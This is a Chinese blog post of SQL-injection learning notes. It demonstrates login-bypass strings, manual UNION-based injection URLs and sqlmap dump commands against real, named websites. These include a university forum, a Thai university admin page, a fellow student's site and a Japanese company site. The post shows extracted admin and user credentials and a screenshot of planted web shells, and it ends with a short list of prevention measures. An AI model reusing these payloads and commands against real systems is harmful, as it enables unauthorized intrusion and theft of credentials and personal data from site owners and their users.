折腾了一段时间的SQL注入,虽说还是不明觉厉的感觉,不过还是把学习过程中的一些随笔&经验发发吧。


一个最简单的漏洞:
http://jpkc.hnu.cn/2007sb-glx/course/bbs
这是一个荒废已久的论坛。
http://jpkc.hnu.cn/2007sb-glx/course/bbs/data/dvbbs7.mdb
论坛数据库默认路径没有更改,而且可以直接下载,里面有用户表。打开后拿到管理员密码直接可以进后台。 ![db_backup.jpg][1] 关于数据库语句的安全性: 在创建数据库的时候,安全意识不高的程序猿可能想到的是用类似于这样的语句来验证用户名和密码:
SELECT * FROM user WHERE username='$username' AND password='$password'
但是这样会有一个很严重的安全问题:如果用户名是 'or'='or' ,登陆过程会整么样?
SELECT * FROM user WHERE username=''or'='or'' AND password='$password'
语句被解释成 “用户名为空或者空等于空”,而空等于空恒成立,所以无论输入什么密码可以成功登陆。 或者也可以把密码改成' or '1'='1 ,即
SELECT * FROM user WHERE username='admin' AND password =''or '1'='1'
甚至可以用注释,注释掉后面的语句:
SELECT * FROM user WHERE username='admin'or'1'='1'--' AND password='$password'
用户名为admin或者1=1,后面的语句就直接被注释掉了。 还有很多构造方法,就不一一列举了。不过现在的网站已经几乎不存在这种低级漏洞,在6、7年前这种方法貌似挺流行的。   好不容易找出了一个实例:
http://planning.oop.cmu.ac.th
一个泰国小网站,数据库很老旧,进入后台
http://planning.oop.cmu.ac.th/asp/alogin.asp
![or.jpg][2] 试一下万能密码:用户名 'or'='or',密码随意。 进入后台的文件上传页面可以看到各种网马…… ![shells.jpg][3] 关于判断注入点:
http://chuxinyuan.gotoip3.com/mao/image_detail.php?id=42
某学姐做的网站,链接后面加个单引号,有错误回显,说明没有过滤敏感字符: ![judge.jpg][4] 再试试 and 1=1 和 and 1=2 ,可以看出这里很可能存在注入点。 ![1-1.jpg][5] ![1-2.jpg][6] 为什么? 打开这个链接时,数据库中的语句可能是这样的:
SELECT * FROM image_detail WHERE id=42;
如果在链接后面多加了一个单引号,就变成了
SELECT * FROM image_detail WHERE id=42';
如果没有过滤单引号的话,很明显会造成语法错误。 而 and 1=1 和 and 1=2 可以判断数据库是否可以执行操作语句。 若可以执行 and 操作,那么因为 1=1 恒成立,所以返回是正常页面,1=2 恒不成立,所以会返回错误页面。 既然数据库既没有过滤非法字符,也没有限制操作语句的执行,我们几乎可以对数据库为所欲为。 那我们放在工具里跑一下…… ![safe3][7] 关于手工盲注: 手工盲注难度有点大,适合的站也不太好找,这里转一下别人的经验:
http://henecia.jp/news/detail.php?nid=162  目标网址
http://henecia.jp/news/detail.php?nid=162'  加单引号 http://henecia.jp/news/detail.php?nid=162 and 1=1 http://henecia.jp/news/detail.php?nid=162 and 1=2 http://henecia.jp/news/detail.php?nid=162 order by 5  正常 http://henecia.jp/news/detail.php?nid=162 order by 8  正常 http://henecia.jp/news/detail.php?nid=162%20order%20by%2010  错误 http://henecia.jp/news/detail.php?nid=162%20order%20by%209  正常
%20就是空格的十六进制表示,网页链接会自动把空格转换成%20。 一般采用二分法探测字段的长度,因为 order by 9 是最后一个正常页面,所以这里可以知道字段的长度是9。 接下来看显示位:
http://henecia.jp/news/detail.php?nid=162%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9 UNION 操作符用于合并两个或多个 SELECT 语句的结果集。URL后面添加 and+1=2 显示有报错信息,URL后面添加 select+1,2,3,4,5,6,7,8,9 显示正常的网页,使用UNION操作符将后者的显示信息覆盖掉前面报错的信息,这样就能清楚看到显示位了。
可以看到 2,3 有显示,所以我们可以在 2,3 上做文章:
http://henecia.jp/news/detail.php?nid=162%20and%201=2%20union%20select%201,group_concat(distinct%20table_schema),user(),4,5,6,7,8,9%20from%20information_schema.columns information_schema 数据库是在MYSQL的版本5.0之后产生的,一个虚拟数据库,物理上并不存在。information_schema 数据库类似于“数据字典”,提供了访问数据库元数据的方式,即数据的数据。比如数据库名或表名,列类型,访问权限(更加细化的访问方式)。information_schema 是一个由数据库的元数据组成的数据库。里面存储的是MYSQL的数据库基本信息。并随时改变。用于查看信息以及系统决策时作为重要的信息提供者。MYSQL的版本5.0以上版本,我们借助information_schema数据库,来获取其他数据库的信息。还用到了group_concat()函数,distinct参数起到了去掉重复显示的作用。
查询当前数据库的所有表名:
http://henecia.jp/news/detail.php?nid=162%20and%201=2%20union%20select%201,group_concat(distinct%20table_name),user(),4,5,6,7,8,9%20from%20information_schema.columns%20where%20table_schema=database()
查询表 TM_ADMIN_MEMBER 的列,这里要把 TM_ADMIN_MEMBER 转换成16进制,即0x544D5F41444D494E5F4D454D424552,才能查询:
http://henecia.jp/news/detail.php?nid=162%20and%201=2%20union%20select%201,group_concat(distinct%20column_name),user(),4,5,6,7,8,9%20from%20information_schema.columns%20where%20table_name=0x544D5F41444D494E5F4D454D424552
得到鹳狸猿的 admin_id 和 login_pwd 列 ,至此手工爆出了鹳狸猿的用户名和密码:
http://henecia.jp/news/detail.php?nid=162+and+1=2+union+select+1,group_concat(admin_id,0x20,login_uid,0x20,login_pwd),3,4,5,6,7,8,9+from+TM_ADMIN_MEMBER
![jp.jpg][8] 最后介绍一下 SQL 注入的命令行神器—— SQLmap SQLmap是用python写的开源的测试框架, 支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP,MAXDB。并支持6种SQL注入手段。 SQLmap 相比其他的一些图形化的注入工具速度更快, 而且更适合有经验的使用者自定义注入方式,提高成功率。 常用的一些命令:
-u URL, --url=URL 目标 URL -b, --banner 检索数据库管理系统的标识 --current-user 检索数据库管理系统当前用户 --current-db 检索数据库管理系统当前数据库 --is-dba 检测 DBMS 当前用户是否 DBA --users 枚举数据库管理系统用户 --passwords 枚举数据库管理系统用户密码哈希 --privileges 枚举数据库管理系统用户的权限 --roles 枚举数据库管理系统用户的角色 --dbs 枚举数据库管理系统数据库 --tables 枚举的 DBMS 数据库中的表 --columns 枚举 DBMS 数据库表列 --dump 转储数据库管理系统的数据库中的表项 -p TESTPARAMETER 可测试的参数(S) --threads 使用多线程 --dbms=DBMS 强制后端的 DBMS 为此值 --os=OS 强制后端的 DBMS 操作系统为这个值
  还是那个学姐的网站为例:
-u "http://chuxinyuan.gotoip3.com/mao/image_detail.php?id=42" -b  查看数据库的格式和操作系统等。 -u "http://chuxinyuan.gotoip3.com/mao/image_detail.php?id=42" --current-user --current-db 查看当前正在使用的数据库和其用户 -u "http://chuxinyuan.gotoip3.com/mao/image_detail.php?id=42" -D chuxinyuan --tables 查看chuxinyuan 数据库里的表 -u "http://chuxinyuan.gotoip3.com/mao/image_detail.php?id=42" -D chuxinyuan -T user --columns  查看user表里的列 -u "http://chuxinyuan.gotoip3.com/mao/image_detail.php?id=42" -D chuxinyuan -T user -C id,username,sex,email,password --dump 查看用户序号,用户名,性别,邮箱,密码,并保存
![sqlmap.jpg][9] ![sqlmap2.jpg][10] 如果觉得麻烦,可以直接
-u "http://chuxinyuan.gotoip3.com/mao/image_detail.php?id=42" -D chuxinyuan --dump all
获取chuxinyuan数据库里的所有信息并保存.   关于怎么预防SQL注入:
1.定期检查SQL服务器的log文件 2.限制动态SQL语句,过滤非法操作字符 3.避免从用户端直接获得数据 4.将数据库的权限信息单独存放在另外一个文件中 5.使用最小权限原则 6.使用预先准备好的(SQL)语句,即预编译 7.使用安全狗等WAF防护专业软件

参考资料:
PHP + Mysql注入攻防实战 MYSQL手工注入某日本网站 sqlmap用户手册 | WooYun知识库 sqlmap用户手册(续) | WooYun知识库 白帽子讲Web安全
[1]: //0x0d.im/usr/uploads/2015/01/425802758.jpg [2]: //0x0d.im/usr/uploads/2015/01/277622664.jpg [3]: //0x0d.im/usr/uploads/2015/01/3107923466.jpg [4]: //0x0d.im/usr/uploads/2015/01/2886847867.jpg [5]: //0x0d.im/usr/uploads/2015/01/2423419570.jpg [6]: //0x0d.im/usr/uploads/2015/01/771331197.jpg [7]: //0x0d.im/usr/uploads/2016/03/2027120654.jpeg [8]: //0x0d.im/usr/uploads/2015/01/3676816240.jpg [9]: //0x0d.im/usr/uploads/2015/01/3570168989.jpg [10]: //0x0d.im/usr/uploads/2015/01/571494351.jpg